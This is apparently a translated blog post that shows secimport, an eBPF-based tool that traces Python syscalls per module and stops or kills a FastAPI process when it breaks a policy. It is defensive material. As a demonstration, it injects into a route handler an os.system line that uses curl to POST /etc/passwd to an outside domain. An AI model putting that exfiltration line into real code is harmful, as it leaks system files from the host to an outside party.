利用eBPF为FastAPI等网络应用API打造安全沙箱

本文详细介绍了如何使用eBPF和secimport工具为Python框架(如FastAPI、Django、Flask等)构建运行时安全沙箱。通过追踪系统调用、创建安全策略,并能在策略违规时采取终止或停止进程等主动响应,有效防护远程代码执行等攻击。文章包含具体安装、追踪、构建策略和执行的命令示例。

利用eBPF保障FastAPI安全

利用eBPF保护面向互联网的API:FastAPI、BlackSheep、Flask、Django、aiohttp、Tornado等。

在上一篇文章中,我使用secimport来保护PyTorch代码。我展示了如何安全地在任何Linux机器上评估来自不安全来源的PyTorch模型。

目录:

  • API安全概述
  • 如何同时追踪Python和系统调用?
  • Secimport简介
    • 追踪你的应用:secimport trace / trace_pid
    • 构建eBPF配置文件(沙箱策略):secimport build
    • 在eBPF监管下运行你的代码:secimport run
    • 从交互式shell创建新的沙箱:secimport interactive
  • 使用secimport拦截攻击
    • 阻止RCE的FastAPI沙箱示例
    • 使用--kill_on_violation--stop_on_violation进行主动响应
    • 结论

为什么要保护API?

FastAPI有大约24万行代码。

1
2
➜ fastapi git:(master) git ls-files | xargs wc -l
240562 total

API应独立于操作系统运行,并且(在大多数情况下)应避免依赖操作系统的内存或文件系统。API被设计为无状态、直接且简单的。它们包含应用程序接口和数据库操作,并不断地进行大规模通信。

对于黑客来说,API因其宽松、一体化且具有重大影响的特点而成为有价值的目标。它们的主要作用是通过TCP应用协议处理请求并返回各种状态码(指示成功或错误)。

依赖项中的漏洞

2022年,log4shell暴露了一个关键问题。Log4j是一个为日志记录目的设计的库,却因大多数面向互联网的Java服务器中的HTTP头解析漏洞而被利用。该漏洞允许攻击者打开一个本地LDAP服务器并在目标HTTP服务器上执行命令。这就引出了一个问题:为什么一个日志记录库应该具备网络通信和在主机上执行命令的能力?此类功能应仅在显式启用后可用,而非默认启用。

PyPi中恶意包的泛滥

2023年,由于安全事件数量激增超出审核人员的处理能力,pypi.org(Python包索引)不得不暂时关闭。虽然我们仔细选择依赖项,但我们不应犹豫使用它们。依赖项不应在未经明确许可的情况下拥有网络通信或运行进程的能力。Python代码可以在安装、导入和运行时执行任意代码。

解释器的统治地位(“解释器是王”)

Python缺乏强大的权限管理是一个令人担忧的问题。由于共享内存(sys.modules)、线程化和其他因素,管理代码中的每个模块可能具有挑战性。

尽管有些人可能反对,但我相信,明确定义的能力可以使程序更具可预测性。

实时追踪Python系统调用

在第一篇博客文章(第1部分)中,我探索了各种追踪工具。 我已经在Mac和Windows上使用DTrace进行追踪和运行时分析,但我想要一个更好的解决方案,即仅适用于Linux并使用eBPF的工具。 我将bpftrace整合到了secimport中,这是一个基于eBPF+LLVM的工具包。bpftrace由于其快速的学习曲线和鲁棒性而成为最佳选择。

bpftrace真正出色的地方在于它能够利用LLVM将用bpftrace语言编写的高级用户定义脚本编译成高效的BPF代码。结果令人印象深刻!

Secimport

由eBPF驱动的Secimport通过为Python提供一个安全的沙箱来解决这些问题。使用secimport,可以为代码中的每个模块指定特定的系统调用,从而以极低的成本在运行时保护您的环境。

Secimport利用USDT和内核探针来追踪和保护Python运行时。它使开发人员能够重新控制包的行为并保护他们的代码。

让我们在主机上安装secimport(本例中为Linux):

1
$ pip install secimport

可用的secimport命令包括:

  • secimport trace:通过运行Python程序或指定正在运行的进程ID来追踪其行为。系统调用会按模块记录到文件中。
  • secimport trace_pid:通过PID追踪正在运行的进程。
  • secimport build:根据追踪记录构建新的沙箱环境。
  • secimport run:在沙箱环境中运行Python进程。
  • secimport interactive:通过记录Python解释器(交互式)的行为来创建新的定制沙箱。非常适合小片段代码和评估。它实际上是顺序运行 secimport tracesecimport buildsecimport run

从头开始创建新的secimport沙箱:

要从头开始创建新的沙箱环境,您可以使用docker容器:

1
2
3
4
git clone https://github.com/avilum/secimport.git
cd docker
./build.sh # 构建bpftrace docker,以支持您现有的内核(也支持Mac)
../run.sh   # 启动一个新的临时容器。

您可以通过使用 secimport interactive 开始构建沙箱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@1fa3d6f09989:/workspace# secimport interactive
- A python shell will be opened
- The behavior will be recorded.
OK? (y): y
TRACING: ['/workspace/secimport/profiles/trace.bt', '-c', '/workspace/Python-3.10.0/python', '-o', 'trace.log']                        
Press CTRL+D to stop the trace;
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> exit()
$ secimport build
eBPF SANDBOX:  sandbox.bt
$ secimport run
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> import os
[SECIMPORT VIOLATION]: <stdin> called syscall ioctl at depth 0
[SECIMPORT VIOLATION]: <stdin> called syscall ioctl at depth 0

STOP和KILL标志

使用--stop_on_violation--kill_on_violation进行执行阻止

如果您清楚自己在做什么,并且定义了一个足够好的策略,我鼓励您使用这两个非常有用的标志:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@1bc0531d91d0:/workspace# secimport run  --stop_on_violation
>>> import os
>>> os.system('ps')
[SECURITY PROFILE VIOLATED]: <stdin> called syscall 56 at depth 8022
^^^ STOPPING PROCESS 85918 DUE TO SYSCALL VIOLATION ^^^
PROCESS 85918 STOPPED.

root@ee4bc99bb011:/workspace# secimport run --kill_on_violation
>>> import os
>>> os.system('ps')
[SECURITY PROFILE VIOLATED]: <stdin> called syscall 56 at depth 8022
^^^ KILLING PROCESS 86466 DUE TO SYSCALL VIOLATION ^^^
KILLED. SANDBOX EXITED;

如何保护API免受远程代码执行攻击?

让我们尝试保护给定代码免受此类场景的影响。 我将以FastAPI程序为例(来自其快速入门)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get("/")
async def root():
    return {"message": "Hello World"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

步骤 1: 追踪您的应用程序。

您可以使用以下方法之一来追踪您的Python应用程序:

  • secimport trace 将使用一个用于系统调用的eBPF追踪脚本运行您的应用程序。
    1
    
    secimport trace main.py
    
  • secimport trace_pid 将追踪一个事先已启动的正在运行的进程。
    1
    
    secimport trace_pid 28 # 其中28是一个已在运行的python进程
    
  • secimport interactive 可以追踪一个交互式shell,适用于中小型代码片段(而不是像main.py这样的入口点)。
    1
    2
    3
    4
    5
    6
    
    root@0584e98a4b5c:/workspace# secimport interactive
    Lets create our first tailor-made sandbox with secimport!
    - A python shell will be opened
    - The behavior will be recorded.
    OK? (y): y
    ...
    

高测试覆盖率会有所帮助,因为我们可以运行测试套件,并期望如果逻辑被覆盖,会产生相同的系统调用。

您也可以使用eBPF在生产环境中安全地记录行为,使用 secimport trace_pid 123。它会附加到一个正在运行的进程,并能够记录所有系统调用,按代码中的模块分类。

所以我们已经追踪了我们的程序。让我们从这个追踪记录构建沙箱!

步骤 2: 从追踪记录创建YAML/JSON策略。

我们构建一个bpftrace脚本,它会被翻译成监督进程的eBPF代码。

1
secimport build <flags>

步骤 3: 在eBPF沙箱内运行您的Python应用程序。

1
secimport run main.py <flags>

处理违规行为

我们已经用secimport运行了main.py,它运行良好。 让我们看看如果添加以下恶意代码行会发生什么:

1
2
3
@app.get("/")
async def root():
+++ import os;os.system("curl -X POST -d "$(cat /etc/passwd)" mydomain.com')    return {"message": "Hello World"}

默认情况下,secimport会记录违规行为——因为我们使用“os.system”运行了一个命令。

如果我们希望在检测到违规时终止或停止应用程序,secimport可以向受监督的子进程发送一个信号——SIGSTOP或SIGTERM,就在系统调用实际执行之前!

Secimport能够干预进程,并在其违反您定义的策略时进行阻止。

在违规时停止进程

1
2
3
4
5
6
7
8
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --stop_on_violation
[WARNING]: This sandbox will send SIGSTOP to the program upon violation.
INFO:     Started server process [93]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)|
[SECURITY PROFILE VIOLATED]: /workspace/main.py called syscall 56 at depth 174387
^^^ STOPPING PROCESS 2446 DUE TO SYSCALL VIOLATION ^^^  PROCESS 2446 STOPPED.

正如您在日志中所见——通过向“secimport run”添加“–stop_on_violation”标志,沙箱停止了进程,并且它根本没有发送HTTP响应: 页面没有加载!空响应。这正是我们所期望的,因为策略被违反了。

在违规时终止进程

如果我们想要终止进程,而不是停止它,该怎么办?

1
2
3
4
5
6
7
8
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --kill_on_violation
[WARNING]: This sandbox will send SIGKILL to the program upon violation.
INFO:     Started server process [100]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
[SECURITY PROFILE VIOLATED]: /workspace/main.py called syscall 56 at depth 173398
^^^ KILLING PROCESS 2455 DUE TO SYSCALL VIOLATION ^^^  KILLED. SANDBOX EXITED;

正如预期的那样,进程被终止了。在我看来,这太棒了!

如何处理错误?

我建议设置一个宽限期,在此期间所有“错误”都会被记录,而不是采取主动响应——这是默认行为。如果您清楚自己在做什么,并且已经涵盖了您希望允许的所有用例,请使用stop_on_violationkill_on_violation这两个不安全标志来阻止攻击,而不仅仅是记录它们。

结论

想象一下,在每个Python存储库中都有一个公开的“capabilities.txt”文件,定义了一个模块可以执行的系统调用。

当前的解释器当然不支持这一点,但这种精确的规范将阐明模块的行为,不留任何歧义。

程序员应该清楚地了解其代码的行为,包括网络通信、文件系统访问、sudo权限、套接字绑定、进程管理(fork/spawn)、内存操作(mmap、unshare、shm)等。

感谢您阅读到这里。

  • 第1部分:在代码中沙箱化Python模块
  • 第2部分:使用eBPF保护PyTorch模型

源代码和示例:https://github.com/avilum/secimport

顺便说一下,我是利用业余时间做这件事的。我也真的很喜欢咖啡!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计